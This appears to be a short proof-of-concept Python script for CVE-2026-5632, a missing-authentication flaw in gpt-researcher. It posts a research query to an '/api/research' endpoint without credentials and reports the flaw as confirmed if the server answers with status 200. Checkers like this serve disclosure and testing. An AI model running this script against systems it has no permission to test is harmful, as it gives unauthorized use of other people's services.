CVE-2026-5632

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-5632: Missing Authentication in gpt-researcher This script attempts to access a protected endpoint without credentials. """ # Example endpoint, actual vulnerable endpoint may vary based on version endpoint = f"{target_url}/api/research" headers = { "Content-Type": "application/json" } payload = { "query": "test_query", "report_type": "research_report" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability Confirmed! API responded without authentication.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Status Code: {response.status_code}") except Exception as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:8000" # Replace with actual target check_vulnerability(target)

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